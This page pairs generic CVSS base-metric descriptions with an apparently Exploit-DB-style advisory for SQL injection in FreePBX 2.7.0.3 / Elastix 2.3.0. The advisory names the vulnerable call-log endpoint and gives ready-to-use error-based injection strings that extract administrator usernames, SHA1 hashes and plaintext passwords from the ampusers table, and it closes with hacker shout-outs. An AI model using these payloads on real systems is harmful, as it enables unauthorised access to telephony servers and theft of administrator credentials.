The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
# Exploit Title: SQL injection in FreePBX 2.7.0.3 / Elastix 2.3.0
# Google Dork: N/A
# Date: 05/01/2013
# Exploit Author: Sc4nX
# Email : Sec744[at]yahoo.com - r1z[at]hackermail.com
# Vendor Homepage: http://www.freepbx.org
# Software Link: http://www.freepbx.org/download-freepbx
# Tested on: Linux / Win 7
SQL Injection:
1 - Go to - /admin/cdr/call-log.php
2 - Insert Your code 1' in DESTINATION vulnerability: SELECT substring(calldate,1,10) AS day, sum(duration) AS calltime, count(*) as nbcall FROM cdr
WHERE dst='10'' AND src = 'NeverReturnAnything' AND src = 'NeverReturnAnything' GROUP BY substring(calldate,1,10) [nativecode=1064 ** You have an
error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'NeverReturnAnything' AND src =
'NeverReturnAnything' GROUP BY substring(calldate' at line 1]
3 - submit and now you belong to whatever usergroup to choice to belong to
Exploit :
1 - To See The Username use
Code : 1' and(select 1 from(select count(*),concat((select (select (SELECT concat(ampusers.username) FROM `asterisk`.ampusers LIMIT 0,1) ) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
2 - To See The Passowrd sha1
Code : 1' and(select 1 from(select count(*),concat((select (select (SELECT concat(ampusers.password_sha1) FROM `asterisk`.ampusers LIMIT 0,1) ) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
3 - To See The Password with out sha1
Code : 1' and(select 1 from(select count(*),concat((select (select (SELECT concat(ampusers.password) FROM `asterisk`.ampusers LIMIT 0,1) ) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
====================
GZ : Dr.Hacker (Ahmed) - All Sec4ever.com - Big TrOuBlE
The End :P
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